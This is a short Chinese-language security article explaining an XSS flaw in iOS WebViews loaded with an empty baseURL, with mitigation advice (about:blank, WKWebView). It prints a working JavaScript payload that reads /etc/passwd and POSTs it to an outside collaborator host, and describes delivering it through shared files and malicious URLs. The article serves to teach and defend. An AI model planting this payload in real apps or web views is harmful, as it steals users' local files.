iOS漏洞——Web View XSS
本文介紹一個簡單的,但是潛在危險性特別大、而且在iOS app中經常出現的安全漏洞。
該漏洞非常簡單,但是常常被誤解,當開發者在程式碼中是設定webView時,經常會看到:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]
許多開發者都認為設定baseURL為@””,表示是安全的,因為baseurl被指定為空字串,攻擊者也不能載入請求到隨機的惡意網站。但事實上不是這樣的。
當baseURL被設定為空字串時,攻擊者可以繞過SOP保護訪問APP的檔案系統(使用file:// url方案)和任何外部網站。
另一個需要注意的方法是loadData:MIMEType:textEncodingName:baseURL。
錯誤配置可以以多種方式利用。最常見的就是檔案共享,使用者可以在web檢視中開啟檔案。比如一個簡單的XSS payload:
<script> var request = new XMLHttpRequest(); request.open("GET","file:///etc/passwd",false); request.send(); request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false); request.send(request.responseText); </script>
這個簡單的payload可以開啟手機的/etc/passwd檔案,然後傳送其中的內容到攻擊者伺服器。
研究人員將其儲存為.html檔案,並於iCloud進行同步,然後再通過蘋果的Files APP在APP內分享。
然後,當用戶開啟該檔案時:
研究人員就接收到了使用者的etc/passwd檔案。
其他潛在的利用方法有:
·APP內開啟URL/Web瀏覽:攻擊者可以傳送給受害者一個惡意URL,當用戶點選時,就可以在APP的web檢視中開啟連結。
· URL scheme濫用:攻擊者可以通過郵件或iMessage等外部通訊方式傳送一個惡意URL。如果開啟連結的URL scheme在webView中,就可以進行利用。
如何應對?
應對該漏洞的最簡單的辦法就是將baseURL引數設定為about:blank而不是空字串。比如:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]
現在webView已經從手機的檔案系統中沙箱化了,攻擊者可能可以進行彈窗,但是不能竊取資料或與惡意伺服器進行通訊。如果使用者從檔案系統中載入內嵌影象,該方案可能會干預APP的這一功能。
如果開發者選擇使用新的WKWebView類,而不是老版本的UIWebView,那麼這類攻擊發生的可能性就會小很多。因為WKWebView增強了安全性,預設情況下不允許對本地檔案系統進行AJAX請求,所以前面描述的攻擊就都不能實現了。而且WKWebView還有一個開啟/關閉JavaScript/">JavaScript執行的新功能。